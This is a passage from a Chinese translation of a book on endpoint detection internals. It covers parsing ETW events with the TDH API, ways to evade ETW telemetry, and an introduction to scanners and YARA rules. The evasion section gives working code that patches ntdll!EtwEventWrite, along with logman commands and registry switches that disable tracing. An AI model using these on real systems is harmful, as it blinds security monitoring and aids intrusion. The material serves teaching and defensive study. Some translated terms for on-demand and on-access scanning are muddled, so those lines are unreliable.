这个结构乍看之下可能很简单,但它可能包含大量信息。第一个字段 EventHeader 包含基本的事件元数据,例如提供者二进制文件的进程 ID、时间戳,以及一个 EVENT_DESCRIPTOR,它详细描述了事件本身。ExtendedData 成员与传递给 sechost!EnableTraceEx2() 中的 EnableProperty 参数的数据匹配。该字段是指向一个 EVENT_HEADER_EXTENDED_DATA_ITEM 的指针,在列表 8-15 中定义。
typedef struct _EVENT_HEADER_EXTENDED_DATA_ITEM {
USHORT Reserved1;
USHORT ExtType;
struct {
USHORT Linkage : 1;
USHORT Reserved2 : 15;
};
USHORT DataSize;
ULONGLONG DataPtr;
} EVENT_HEADER_EXTENDED_DATA_ITEM, *PEVENT_HEADER_EXTENDED_DATA_ITEM;
列表 8-15: EVENT_HEADER_EXTENDED_DATA_ITEM 结构定义
ExtType 成员包含一个标识符(在 eventcons.h 中定义,并在列表 8-16 中显示),它告诉消费者 DataPtr 成员指向的数据类型。请注意,许多在头文件中定义的值在微软文档中并没有正式支持作为 API 调用者使用。
#define EVENT_HEADER_EXT_TYPE_RELATED_ACTIVITYID 0x0001
#define EVENT_HEADER_EXT_TYPE_SID 0x0002
#define EVENT_HEADER_EXT_TYPE_TS_ID 0x0003
#define EVENT_HEADER_EXT_TYPE_INSTANCE_INFO 0x0004
#define EVENT_HEADER_EXT_TYPE_STACK_TRACE32 0x0005
#define EVENT_HEADER_EXT_TYPE_STACK_TRACE64 0x0006
#define EVENT_HEADER_EXT_TYPE_PEBS_INDEX 0x0007
#define EVENT_HEADER_EXT_TYPE_PMC_COUNTERS 0x0008
#define EVENT_HEADER_EXT_TYPE_PSM_KEY 0x0009
#define EVENT_HEADER_EXT_TYPE_EVENT_KEY 0x000A
#define EVENT_HEADER_EXT_TYPE_EVENT_SCHEMA_TL 0x000B
#define EVENT_HEADER_EXT_TYPE_PROV_TRAITS 0x000C
#define EVENT_HEADER_EXT_TYPE_PROCESS_START_KEY 0x000D
#define EVENT_HEADER_EXT_TYPE_CONTROL_GUID 0x000E
#define EVENT_HEADER_EXT_TYPE_QPC_DELTA 0x000F
#define EVENT_HEADER_EXT_TYPE_CONTAINER_ID 0x0010
#define EVENT_HEADER_EXT_TYPE_MAX 0x0011
列表 8-16: EVENT_HEADER_EXT_TYPE 常量
EVENT_RECORD 的 ExtendedData 成员包含有价值的数据,但代理通常会用它来补充其他来源,特别是 EVENT_RECORD 的 UserData 成员。这部分比较复杂,因为微软表示,几乎在所有情况下,我们必须通过 TDH API 来检索这些数据。
我们将在回调函数中逐步完成这个过程,但请记住,这个例子只是提取相关信息的一种方法,可能并不代表生产代码。为了开始处理事件数据,代理调用 tdh!TdhGetEventInformation(),如列表 8-17 所示。
void CALLBACK OnEvent(PEVENT_RECORD pRecord)
{
ULONG ulSize = 0;
DWORD dwStatus = 0;
PBYTE pUserData = (PBYTE)pRecord->UserData;
dwStatus = TdhGetEventInformation(pRecord, 0, NULL, NULL, &ulSize);
PTRACE_EVENT_INFO pEventInfo = (PTRACE_EVENT_INFO)malloc(ulSize);
if (!pEventInfo)
{
// Exit immediately if we're out of memory
ExitProcess(ERROR_OUTOFMEMORY);
}
dwStatus = TdhGetEventInformation(
pRecord, 0,
NULL,
pEventInfo,
&ulSize);
if (dwStatus != ERROR_SUCCESS)
{
return;
}
`--snip--`
}
列表 8-17:开始处理事件数据
在分配了所需大小的内存后,我们将指针传递给 TRACE_EVENT_INFO 结构体,作为函数的第一个参数。列表 8-18 定义了这个结构体。
typedef struct _TRACE_EVENT_INFO {
GUID ProviderGuid;
GUID EventGuid;
EVENT_DESCRIPTOR EventDescriptor;
❶ DECODING_SOURCE DecodingSource;
ULONG ProviderNameOffset;
ULONG LevelNameOffset;
ULONG ChannelNameOffset;
ULONG KeywordsNameOffset;
ULONG TaskNameOffset;
ULONG OpcodeNameOffset;
ULONG EventMessageOffset;
ULONG ProviderMessageOffset;
ULONG BinaryXMLOffset;
ULONG BinaryXMLSize;
union {
ULONG EventNameOffset;
ULONG ActivityIDNameOffset;
};
union {
ULONG EventAttributesOffset;
ULONG RelatedActivityIDNameOffset;
};
ULONG PropertyCount;
ULONG TopLevelPropertyCount;
union {
TEMPLATE_FLAGS Flags;
struct {
ULONG Reserved : 4;
ULONG Tags : 28;
};
};
❷ EVENT_PROPERTY_INFO EventPropertyInfoArray[ANYSIZE_ARRAY];
} TRACE_EVENT_INFO;
列表 8-18:TRACE_EVENT_INFO 结构体定义
当函数返回时,它将用有用的元数据填充此结构体,例如用于标识事件定义方式(在仪表清单、MOF 类或 WPP 模板中)的 DecodingSource ❶。但最重要的值是 EventPropertyInfoArray ❷,这是一个 EVENT_PROPERTY_INFO 结构体数组,在列表 8-19 中定义,提供有关 EVENT_RECORD 的 UserData 成员每个属性的信息。
typedef struct _EVENT_PROPERTY_INFO {
❶ PROPERTY_FLAGS Flags;
ULONG NameOffset;
union {
struct {
USHORT InType;
USHORT OutType;
ULONG MapNameOffset;
} nonStructType;
struct {
USHORT StructStartIndex;
USHORT NumOfStructMembers;
ULONG padding;
} structType;
struct {
USHORT InType;
USHORT OutType;
ULONG CustomSchemaOffset;
} customSchemaType;
};
union {
❷ USHORT count;
USHORT countPropertyIndex;
};
union {
❸ USHORT length;
USHORT lengthPropertyIndex;
};
union {
ULONG Reserved;
struct {
ULONG Tags : 28;
};
};
} EVENT_PROPERTY_INFO;
列表 8-19:EVENT_PROPERTY_INFO 结构体
我们必须逐一解析数组中的每个结构体。首先,它获取所操作属性的长度。这个长度依赖于事件的定义方式(例如,MOF 或清单)。通常,我们通过以下方式来推导属性的大小:从length 成员 ❸,从已知数据类型的大小(例如无符号长整型或ulong),或通过调用 tdh!TdhGetPropertySize()。如果属性本身是一个数组,我们需要通过评估 count 成员 ❷ 或再次调用 tdh!TdhGetPropertySize() 来获取它的大小。
接下来,我们需要确定正在评估的数据是否本身是一个结构。由于调用者通常知道他们正在处理的数据格式,在大多数情况下这并不困难,通常只有在解析来自不熟悉提供者的事件时才变得重要。然而,如果代理确实需要处理事件中的结构,则 Flags 成员❶将包括 PropertyStruct (0x1) 标志。
当数据不是结构时,例如在 Microsoft-Windows-DotNETRuntime 提供者的情况下,它将是一个简单的值映射,我们可以使用 tdh!TdhGetEventMapInformation() 获取这个映射信息。此函数接受指向 TRACE_EVENT_INFO 的指针,以及指向映射名称偏移量的指针,它可以通过 MapNameOffset 成员进行访问。完成后,它返回指向 EVENT_MAP_INFO 结构的指针,该结构在 列表 8-20 中定义,描述了事件映射的元数据。
typedef struct _EVENT_MAP_INFO {
ULONG NameOffset;
MAP_FLAGS Flag;
ULONG EntryCount;
union {
MAP_VALUETYPE MapEntryValueType;
ULONG FormatStringOffset;
};
EVENT_MAP_ENTRY MapEntryArray[ANYSIZE_ARRAY];
} EVENT_MAP_INFO;
列表 8-20: EVENT_MAP_INFO 结构定义
列表 8-21 显示了我们的回调函数如何使用这个结构。
void CALLBACK OnEvent(PEVENT_RECORD pRecord)
{
`--snip--`
WCHAR pszValue[512];
USHORT wPropertyLen = 0;
ULONG ulPointerSize =
(pRecord->EventHeader.Flags & EVENT_HEADER_FLAG_32_BIT_HEADER) ? 4 : 8;
USHORT wUserDataLen = pRecord->UserDataLength;
❶ for (USHORT i = 0; i < pEventInfo->TopLevelPropertyCount; i++)
{
EVENT_PROPERTY_INFO propertyInfo =
pEventInfo->EventPropertyInfoArray[i];
PCWSTR pszPropertyName =
PCWSTR)((BYTE*)pEventInfo + propertyInfo.NameOffset);
wPropertyLen = propertyInfo.length;
❷ if ((propertyInfo.Flags & PropertyStruct | PropertyParamCount)) != 0)
{
return;
}
PEVENT_MAP_INFO pMapInfo = NULL; PWSTR mapName = NULL;
❸ if (propertyInfo.nonStructType.MapNameOffset)
{
ULONG ulMapSize = 0;
mapName = (PWSTR)((BYTE*)pEventInfo +
propertyInfo.nonStructType.MapNameOffset);
dwStatus = TdhGetEventMapInformation(
pRecord,
mapName,
pMapInfo,
&ulMapSize);
if (dwStatus == ERROR_INSUFFICIENT_BUFFER)
{
pMapInfo = (PEVENT_MAP_INFO)malloc(ulMapSize);
❹ dwStatus = TdhGetEventMapInformation(
pRecord,
mapName,
pMapInfo,
&ulMapSize);
if (dwStatus != ERROR_SUCCESS)
{
pMapInfo = NULL;
}
}
}
`--snip--`
}
列表 8-21: 解析事件映射信息
为了解析提供者发出的事件,我们通过使用在跟踪事件信息结构中找到的属性总数 TopLevelPropertyCount,遍历事件中的每个顶级属性❶。然后,如果我们不是在处理结构❷,并且成员名称的偏移量存在❸,我们将偏移量传递给 tdh!TdhGetEventMapInformation()❹,以获取事件映射信息。
到此为止,我们已经收集了完全解析事件数据所需的所有信息。接下来,我们调用 tdh!TdhFormatProperty(),并传入我们之前收集的信息。列表 8-22 显示了该函数的实际应用。
void CALLBACK OnEvent(PEVENT_RECORD pRecord)
{
`--snip--`
ULONG ulBufferSize = sizeof(pszValue);
USHORT wSizeConsumed = 0;
dwStatus = TdhFormatProperty(
pEventInfo,
pMapInfo, ulPointerSize,
propertyInfo.nonStructType.InType,
propertyInfo.nonStructType.OutType,
wPropertyLen,
wUserDataLen,
pUserData,
&ulBufferSize,
❶ pszValue,
&wSizeConsumed);
if (dwStatus == ERROR_SUCCESS)
{
`--snip--`
wprintf(L"%s: %s\n", ❷ pszPropertyName, pszValue);
`--snip--`
}
`--snip--`
}
列表 8-22: 使用 tdh!TdhFormatProperty() 检索事件数据
函数完成后,属性的名称(如键值对中的 key 部分)将存储在事件映射信息结构的 NameOffset 成员中(我们已将其存储在 pszPropertyName 变量中 ❷,为了简洁起见)。其值将存储在传递给 tdh!TdhFormatProperty() 的缓冲区中,作为 Buffer 参数 ❶(在我们的示例中是 pszValue)。
测试消费者
清单 8-23 中展示的代码来自我们的 .NET 事件消费者。它显示了 Seatbelt 侦察工具通过命令与控制代理加载到内存中的程序集加载事件。
AssemblyID: 0x266B1031DC0
AppDomainID: 0x26696BBA650
BindingID: 0x0
AssemblyFlags: 0
FullyQualifiedAssemblyName: Seatbelt, Version=1.0.0.0, `--snip--`
ClrInstanceID: 10
清单 8-23:Microsoft-Windows-DotNETRuntime 提供者的消费者检测到 Seatbelt 被加载
从这里开始,代理可以根据需要使用这些值。例如,如果代理想要终止加载 Seatbelt 程序集的任何进程,它可以利用这个事件来触发预防性操作。或者,如果想采取更为被动的措施,它可以将从这个事件收集到的信息,结合关于源进程的其他信息,创建自己的事件并将其输入到检测逻辑中。
规避基于 ETW 的检测
如我们所示,ETW 是从系统组件收集信息的一种非常有用的方法,否则这些信息是无法获取的。然而,这项技术也有其局限性。由于 ETW 是为监控或调试而设计的,而不是作为关键的安全组件,因此其保护机制不如其他传感器组件那样强大。
在 2021 年,Claudiu Teodorescu、Igor Korkin 和 Andrey Golchikov(来自 Binarly)在 Black Hat Europe 上进行了精彩的演讲,他们对现有的 ETW 规避技术进行了分类,并介绍了新的技术。他们的演讲确定了 36 种绕过 ETW 提供者和跟踪会话的独特策略。演讲者将这些技术分为五大类:来自攻击者控制的进程的攻击;对 ETW 环境变量、注册表和文件的攻击;对用户模式 ETW 提供者的攻击;对内核模式 ETW 提供者的攻击;以及对 ETW 会话的攻击。
这些技术在其他方面也有所重叠。此外,尽管一些技术适用于大多数提供者,另一些则针对特定提供者或跟踪会话。几种技术也在 Palantir 的博客文章《篡改 Windows 事件跟踪:背景、攻击与防御》中进行了讨论。为了总结这两组的发现,本节将这些规避技术分为更广泛的类别,并讨论每种方法的优缺点。
修补
可以说,在攻击领域中,绕过 ETW 的最常见技术是修补关键功能、结构和其他内存中与事件发射相关的地方。这些修补程序的目的是完全阻止提供者发射事件,或有选择地过滤它发送的事件。
你最常见到的这种修补方式是函数钩取,但攻击者也可以篡改许多其他组件来改变事件流。例如,攻击者可以将提供者使用的TRACEHANDLE置为无效,或者修改其TraceLevel,以防止某些类型的事件被发射。在内核中,攻击者还可以修改如ETW_REG_ENTRY这样的结构,这是内核中表示事件注册对象的方式。我们将在“绕过.NET 消费者”一节中更详细地讨论这一技术,见第 166 页。
配置修改
另一种常见的技术涉及修改系统的持久属性,包括注册表键、文件和环境变量。许多程序都属于这一类,但它们的共同目标通常是通过滥用类似注册表中的“关闭”开关来防止跟踪会话或提供者按预期功能工作。
“关闭”开关的两个例子是COMPlus_ETWEnabled环境变量和HKCU:\Software\Microsoft.NETFramework注册表键下的ETWEnabled值。通过将这两个值中的任何一个设置为0,攻击者可以指示clr.dll,即 Microsoft-Windows-DotNETRuntime 提供者的镜像,不注册任何TRACEHANDLE,从而防止该提供者发射 ETW 事件。
跟踪会话篡改
下一个技术涉及干扰系统上已经运行的跟踪会话。虽然这通常需要系统级的权限,但已经提升权限的攻击者可以与他们不是显式拥有者的跟踪会话进行交互。例如,攻击者可以使用sechost!EnableTraceEx2(),或者更简单地使用 logman 和以下语法,来从跟踪会话中移除提供者:
logman.exe update trace `TRACE_NAME` --p `PROVIDER_NAME` --ets
更直接地说,攻击者可能选择完全停止跟踪:
logman.exe stop "`TRACE_NAME`" -ets
跟踪会话干扰
最后一个技巧是对前一个技巧的补充:它侧重于在跟踪会话开始之前,防止自动记录器等跟踪会话按预期工作,从而对系统进行持久性更改。
这种技术的一个例子是通过修改注册表手动从自动记录器会话中移除提供者。通过删除与提供者相关的子项 HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger<AUTOLOGGER_NAME><PROVIDER_GUID>,或者将其 Enabled 值设置为 0,攻击者可以在下一次重启后从跟踪会话中移除提供者。
攻击者还可以利用 ETW 的机制来阻止会话按预期工作。例如,每个主机每次只能启用一个遗留提供者(如 MOF 或 TMF 基于 WPP)。如果新会话启用了该提供者,原始会话将不再接收到所需的事件。同样,攻击者可以在安全产品有机会启动会话之前,创建一个与目标同名的跟踪会话。当代理尝试启动其会话时,它将遇到 ERROR_ALREADY_EXISTS 错误代码。
绕过 .NET 消费者
让我们通过瞄准一个类似本章早些时候编写的 .NET 运行时消费者来练习规避基于 ETW 的遥测源。在他的博客文章《隐藏你的 .NET—ETW》中,Adam Chester 介绍了如何阻止公共语言运行时发出 ETW 事件,从而使传感器无法识别 SharpHound 的加载。SharpHound 是一个 C# 工具,用于收集将输入到路径映射攻击工具 BloodHound 中的数据。
绕过技术通过修补负责发出 ETW 事件的函数 ntdll!EtwEventWrite() 来实现,并指示该函数在进入时立即返回。Chester 发现,通过在 WinDbg 中设置断点并观察来自 clr.dll 的调用,最终发现该函数负责发出该事件。设置此条件断点的语法如下:
bp ntdll!EtwEventWrite "r $t0 = 0;
.foreach (p {k}) {.if ($spat(\"p\", \"clr!*\")) {r $t0 = 1; .break}};
.if($t0 = 0) {gc}"
该命令中的条件逻辑指示 WinDbg 解析调用堆栈(k)并检查每一行输出。如果某些行以 clr! 开头,表示对 ntdll!EtwEventWrite() 的调用来源于公共语言运行时,则触发断点。如果调用堆栈中没有这个子字符串的实例,应用程序将继续执行。
如果我们查看检测到子字符串时的调用堆栈,如 Listing 8-24 所示,我们可以观察到公共语言运行时发出了事件。
0:000> **k**
# RetAddr Call Site
❶ 00 ntdll!EtwEventWrite
01 clr!CoTemplate_xxxqzh+0xd5
02 clr!ETW::LoaderLog::SendAssemblyEvent+0x1cd
❷ 03 clr!ETW::LoaderLog::ModuleLoad+0x155
04 clr!DomainAssembly::DeliverSyncEvents+0x29
05 clr!DomainFile::DoIncrementalLoad+0xd9
06 clr!AppDomain::TryIncrementalLoad+0x135
07 clr!AppDomain::LoadDomainFile+0x149
08 clr!AppDomain::LoadDomainAssemblyInternal+0x23e
09 clr!AppDomain::LoadDomainAssembly+0xd9
0a clr!AssemblyNative::GetPostPolicyAssembly+0x4dd
0b clr!AssemblyNative::LoadFromBuffer+0x702
0c clr!AssemblyNative::LoadImage+0x1ef
❸ 0d mscorlib_ni!System.AppDomain.Load(Byte[])$ 60007DB+0x3b
0e mscorlib_ni!DomainNeutralILStubClass.IL_STUB_CLRtoCOM(Byte[])
0f clr!COMToCLRDispatchHelper+0x39
10 clr!COMToCLRWorker+0x1b4
11 clr!GenericComCallStub+0x57
12 0x00000209`24af19a6
13 0x00000209`243a0020
14 0x00000209`24a7f390
15 0x000000c2`29fcf950
Listing 8-24:一个简略的调用堆栈,显示在公共语言运行时中生成 ETW 事件
从下往上阅读,我们可以看到事件源自 System.AppDomain.Load(),这是负责将程序集加载到当前应用程序域中的函数 ❸。一连串内部调用最终进入 ETW::Loaderlog 类 ❷,该类最终调用 ntdll!EtwEventWrite() ❶。
尽管微软并不希望开发人员直接调用此函数,但该实践是有文档记录的。此函数预计会返回一个 Win32 错误代码。因此,如果我们可以手动将 EAX 寄存器中的值(它作为 Windows 上的返回值)设置为 0(表示 ERROR_SUCCESS),函数应该会立即返回,表现得总是成功完成,而不会生成事件。
修补此函数是一个相对简单的四步过程。我们在 Listing 8-25 中深入了解这一过程。
#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
void PatchedAssemblyLoader()
{
PVOID pfnEtwEventWrite = NULL;
DWORD dwOldProtection = 0;
❶ pfnEtwEventWrite = GetProcAddress(
LoadLibraryW(L"ntdll"),
"EtwEventWrite"
);
if (!pfnEtwEventWrite)
{
return;
}
❷ VirtualProtect(
pfnEtwEventWrite,
3,
PAGE_READWRITE,
&dwOldProtection
);
❸ memcpy(
pfnEtwEventWrite,
"\x33\xc0\xc3", // xor eax, eax; ret
3
);
❹ VirtualProtect(
pfnEtwEventWrite,
3,
dwOldProtection,
NULL
);
`--snip--`
}
Listing 8-25:修补 ntdll!EtwEventWrite() 函数
我们通过 kernel32!GetProcAddress() ❶ 在当前加载的 ntdll.dll 中定位 ntdll!EtwEventWrite() 的入口点。定位到函数后,我们将前 3 个字节(即我们的补丁大小)的内存保护从只读执行(rx)更改为读写(rw) ❷,以便我们能够覆盖入口点。现在,我们只需要使用像 memcpy() ❸ 之类的函数复制补丁,然后将内存保护恢复到原始状态 ❹。此时,我们可以执行我们的汇编加载器功能,而不必担心生成公共语言运行时加载器事件。
我们可以使用 WinDbg 来验证 ntdll!EtwEventWrite() 不再生成事件,如 Listing 8-26 所示。
0:000> **u ntdll!EtwEventWrite**
ntdll!EtwEventWrite:
00007ff8`7e8bf1a0 33c0 xor eax,eax
00007ff8`7e8bf1a2 c3 ret
00007ff8`7e8bf1a3 4883ec58 sub rsp,58h
00007ff8`7e8bf1a7 4d894be8 mov qword ptr [r11-18h],r9
00007ff8`7e8bf1ab 33c0 xor eax,eax
00007ff8`7e8bf1ad 458943e0 mov dword ptr [r11-20h],r8d
00007ff8`7e8bf1b1 4533c9 xor r9d,r9d
00007ff8`7e8bf1b4 498943d8 mov qword ptr [r11-28h],rax
Listing 8-26:修补后的 ntdll!EtwEventWrite() 函数
当调用此函数时,它会立即通过将 EAX 寄存器设置为 0 来清除该寄存器,然后返回。这样可以防止生成 ETW 事件的逻辑被执行,从而有效地阻止提供程序的遥测数据流向 EDR 代理。
即便如此,这种绕过方式也有其局限性。因为clr.dll和ntdll.dll被映射到各自的进程中,它们能够以非常直接的方式篡改提供者。然而,在大多数情况下,提供者作为一个独立的进程运行,超出了攻击者的直接控制范围。修补映射的ntdll.dll中的事件发射功能并不能阻止其他进程中的事件发射。
在他的博客文章《普遍绕过 Sysmon 和 ETW》中,Dylan Halls 描述了一种不同的技术,防止 ETW 事件被发射,该技术涉及修补ntdll!NtTraceEvent(),这个系统调用最终会导致 ETW 事件在内核模式下被触发。这意味着,在修补程序生效期间,系统上通过该系统调用路由的任何 ETW 事件都不会被发射。这种技术依赖于使用内核驱动工具(KDU)来规避驱动程序签名强制执行,以及使用 InfinityHook 来降低 PatchGuard 检测到补丁后崩溃系统的风险。虽然这种技术扩展了绕过 ETW 检测的能力,但它需要加载驱动程序并修改受保护的内核模式代码,因此会受到 KDU 或 InfinityHook 所依赖的任何缓解技术的影响。
结论
ETW(事件跟踪 Windows)是收集 Windows 主机基础遥测数据的最重要技术之一。它为 EDR(端点检测与响应)提供对组件和进程的可视性,比如任务调度器和本地 DNS 客户端,这些是其他传感器无法监控的。一个代理可以消费它找到的几乎所有提供者的事件,并使用这些信息来获得关于系统活动的大量上下文。绕过 ETW 的技术已经有很多研究,绝大多数策略集中在禁用、注销或以其他方式使提供者或消费者无法处理事件。
第九章:9 扫描器

几乎所有的 EDR 解决方案都包括一个组件,接受数据并尝试确定内容是否具有恶意性。终端代理使用它来评估许多不同的数据类型,如文件和内存流,这些评估基于供应商定义和更新的一组规则。为了简单起见,我们将这个组件称为扫描器,它是安全领域中最古老、研究最深入的领域之一,无论是从防御角度还是进攻角度来看。
由于涵盖它们的实现、处理逻辑和签名几乎像是要“煮海洋”,本章专注于基于文件的扫描器所使用的规则。扫描器规则使得不同产品的扫描器有所区别(不考虑性能差异或其他技术能力)。在进攻方面,正是扫描器规则,而不是扫描器本身的实现,敌对者必须规避的目标。
反病毒扫描的简史
我们不知道是谁发明了病毒扫描引擎。德国安全研究员伯恩德·菲克斯(Bernd Fix)在 1987 年开发了第一款病毒软件,用于中和维也纳病毒,但直到 1991 年,世界才看到了类似今天常用的病毒扫描引擎;FRISK 软件的 F-PROT 病毒扫描器会扫描一个二进制文件,检测其各部分的重排序,这是当时恶意软件开发者常用的一个模式,用来将执行跳转到文件末尾,那时他们将恶意代码放置在文件的末尾。
随着病毒的传播越来越广泛,专用的反病毒代理成为许多公司所必须的。为了满足这一需求,像赛门铁克(Symantec)、麦卡菲(McAfee)、卡巴斯基(Kaspersky)和 F-Secure 等供应商在 1990 年代推出了他们的扫描器。监管机构开始强制要求使用反病毒软件来保护系统,进一步推动了它们的普及。到 2010 年代,几乎不可能找到一个没有在大多数终端部署反病毒软件的企业环境。
这种广泛的采用使得许多信息安全项目的主管产生了错误的安全感。尽管这些反恶意软件扫描器在检测常见威胁方面取得了一些成功,但它们未能捕捉到更先进的威胁团体,而这些团体能够在不被发现的情况下实现它们的目标。
2013 年 5 月,Will Schroeder、Chris Truncer 和 Mike Wright 发布了他们的工具 Veil,这让很多人意识到过度依赖杀毒扫描程序的问题。Veil 的整个目的就是通过采用打破传统检测规则集的技术来创建绕过杀毒软件的有效载荷。这些技术包括字符串和变量名称混淆、更不常见的代码注入方法以及有效载荷加密。在攻防安全工作中,他们证明了自己的工具能够有效避开检测,导致许多公司重新评估他们支付费用购买的杀毒扫描程序的价值。与此同时,杀毒软件供应商也开始重新思考如何应对检测问题。
尽管很难量化 Veil 和其他旨在解决相同问题的工具的影响,但这些工具无疑推动了技术进步,促使了更强大的端点检测解决方案的出现。这些新的解决方案仍然使用扫描程序,作为整体检测策略的一部分,但它们已经发展到包括其他传感器,当扫描程序的规则集未能检测到恶意软件时,这些传感器能够提供覆盖。
扫描模型
扫描程序是系统在适当时应该调用的软件应用程序。开发人员必须在两种模型之间做出选择,以确定扫描程序何时运行。这个决策比看起来的更复杂且重要。
按需扫描
第一个模型,按需扫描,指示扫描程序在某个设定时间或在明确要求时运行。这种类型的扫描通常会在每次执行时与大量目标(例如文件和文件夹)进行交互。Microsoft Defender 中的快速扫描功能,如图 9-1 所示,可能是这种模型最为熟悉的例子。

图 9-1:Microsoft Defender 的快速扫描功能示意图
在实施此模型时,开发人员必须考虑扫描程序在一次处理数千个文件时可能对系统性能造成的影响。在资源受限的系统上,最好是在非工作时间(例如,每周二凌晨 2 点)运行此类扫描,而不是在工作时间运行完整扫描。
该模型的另一个主要缺点是每次扫描之间的时间间隔。假设攻击者可以在第一次扫描之后将恶意软件投放到系统中,执行它,并在下一次扫描之前将其删除,从而避开检测。
按访问扫描
在按需扫描过程中,通常称为实时保护,扫描器会在某些代码与目标交互或发生可疑活动并需要调查时评估单个目标。你通常会发现这种模型与另一个组件配合使用,当某些东西与目标对象交互时,它能够接收通知,例如文件系统迷你过滤器驱动程序。例如,当文件被下载、打开或删除时,扫描器可能会对其进行检查。微软 Defender 在所有 Windows 系统上实现了这一模型,如图 9-2 所示。

图 9-2:Defender 的实时保护功能默认启用
按需扫描方法通常会给对手带来更多困扰,因为它消除了滥用按需扫描之间的时间间隔的可能性。相反,攻击者只能试图规避扫描器使用的规则集。现在让我们来考虑这些规则集是如何工作的。
规则集
每个扫描器的核心都是一组规则,扫描引擎使用这些规则来评估待扫描的内容。这些规则更像是字典条目,而不是防火墙规则;每个规则都包含一个定义,形式为一系列属性列表,如果这些属性被识别,就表示该内容应被视为恶意。如果扫描器检测到规则匹配,它将采取一些预定的措施,如将文件隔离、终止进程或提醒用户。
在设计扫描器规则时,开发人员希望捕捉到恶意软件的独特属性。这些特征可以是具体的,如文件的名称或加密哈希值,或者可以更广泛,如恶意软件导入的 DLL 或函数,或者执行某些关键功能的一系列操作码。
开发人员可能会基于在扫描器外部检测到的已知恶意软件样本来制定这些规则。有时其他团队甚至会将关于样本的信息共享给厂商。这些规则也可以针对恶意软件家族或技术进行更广泛的检测,例如勒索软件使用的已知 API 组,或像bcdedit.exe这样的字符串,可能表明恶意软件正试图修改系统。
厂商可以根据其产品的需求,在两种类型的规则之间以适当的比例进行实现。通常,依赖于特定已知恶意软件样本规则的厂商会产生较少的误报,而那些使用较少特定指示符的厂商则会遇到较少的漏报。由于规则集由数百或数千条规则组成,厂商可以平衡特定规则和较少特定规则之间的比例,以满足客户对误报和漏报的容忍度。
各供应商各自开发和实施自己的规则集,但产品之间存在大量重叠。这对消费者有利,因为重叠确保没有单一的扫描器基于其检测“每日威胁”的能力主导市场。为了说明这一点,请查看 VirusTotal 中的查询结果(这是一个在线服务,用于调查可疑文件、IP、域名和 URL)。图 9-3 显示了与财务动机威胁组织 FIN7 相关的网络钓鱼诱饵,由 33 个安全供应商检测到,展示了这些规则集的重叠。
有许多尝试标准化扫描规则格式以促进规则在供应商和安全社区之间共享的努力。截至目前,YARA 规则格式是最广泛采用的,在开源、社区驱动的检测工作以及 EDR 供应商中都可以看到其使用。

图 9-3:与 FIN7 相关的文件的 VirusTotal 扫描结果
案例研究:YARA
YARA 最初由 VirusTotal 的 Victor Alvarez 开发,帮助研究人员通过文本和二进制模式检测恶意软件样本。该项目提供了一个独立的可执行扫描程序和一个可以集成到外部项目中的 C 编程语言 API。本节探讨了 YARA,因为它提供了一个很好的示例,展示了扫描器及其规则集的样子,有着出色的文档,广泛应用。
理解 YARA 规则
YARA 规则采用简单的格式:它们以规则的元数据开始,接着是一组描述要检查的条件的字符串,以及描述规则逻辑的布尔表达式。可以参考 Listing 9-1 中的例子。
rule SafetyKatz_PE
{
❶ meta:
description = "Detects the default .NET TypeLibGuid for SafetyKatz"
reference = "https://github.com/GhostPack/SafetyKatz"
author = "Matt Hand"
❷ strings:
$guid = "8347e81b-89fc-42a9-b22c-f59a6a572dec" ascii nocase wide
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $guid
}
列表 9-1:用于检测公共版本 SafetyKatz 的 YARA 规则
这个简单的规则称为SafetyKatz_PE,遵循常用于检测现成.NET 工具的格式。它以一些元数据开头,包含了对规则进行简要描述、旨在检测的工具的引用,以及可选的创建日期 ❶。这些元数据对扫描器的行为没有影响,但提供了有关规则来源和行为的一些有用上下文信息。
接下来是字符串部分 ❷。虽然可选,但它包含了恶意软件中发现的有用字符串,规则的逻辑可以引用这些字符串。每个字符串都有一个标识符,以 $ 开头,并且一个类似于变量声明的功能。YARA 支持三种不同类型的字符串:明文、十六进制和正则表达式。
明文字符串是最简单的,因为它们变化最小,并且 YARA 对修饰符的支持使它们尤其强大。这些修饰符出现在字符串的内容之后。在 Listing 9-1 中,字符串与修饰符 ascii nocase wide 配对,意思是该字符串应该在不区分大小写的情况下,以 ASCII 和宽格式(wide 格式每个字符使用两个字节)进行检查。其他修饰符,包括 xor、base64、base64wide 和 fullword,提供了更多的灵活性,用于定义待处理的字符串。我们的示例规则仅使用一个明文字符串,即 TypeLib 的 GUID,这是在 Visual Studio 中创建新项目时默认生成的一个工件。
十六进制字符串在搜索不可打印字符时非常有用,例如一系列的操作码。它们定义为用空格分隔的字节,并用大括号括起来(例如,$foo = {BE EF})。与明文字符串一样,十六进制字符串支持扩展其功能的修饰符。这些修饰符包括通配符、跳跃和替代项。通配符实际上只是占位符,表示“这里匹配任何内容”,并用问号表示。例如,字符串 {BE ??} 将匹配文件中出现的任何内容,从 {BE 00} 到 {BE FF}。通配符也是按半字节匹配的,这意味着规则作者可以为字节的任意半字节使用通配符,而保留另一个字节的定义,从而使搜索范围进一步缩小。例如,字符串 {BE E?} 将匹配从 {BE E0} 到 {BE EF} 之间的任何内容。
在某些情况下,字符串的内容可能会有所不同,规则的作者可能不知道这些可变部分的长度。在这种情况下,他们可以使用跳跃。跳跃的格式是用连字符分隔的两个数字,并用方括号括起来。它们的意思是“从这里开始,长度在 X 到 Y 字节之间的值是可变的”。例如,十六进制字符串 $foo = {BE [1-3] EF} 将匹配以下任意内容:
BE EE EF
BE 00 B1 EF
BE EF 00 BE EF
十六进制字符串支持的另一种修饰符是选择项。规则作者在处理具有多个可能值的十六进制字符串部分时使用这些修饰符。作者用管道符号分隔这些值,并将其存储在括号中。字符串中的选择项数量和大小没有限制。此外,选择项可以包括通配符,以扩展其用途。字符串 $foo = {BE (EE | EF BE | ?? 00) EF} 将匹配以下任意一种情况:
BE EE EF
BE EF BE EF
BE EE 00 EF
BE A1 00 EF
YARA 规则的最后一个也是唯一一个必需的部分被称为条件。条件是支持布尔运算符(例如 AND)、关系运算符(例如 !=)以及用于数值表达式的算术和按位运算符(例如 + 和 &)的布尔表达式。
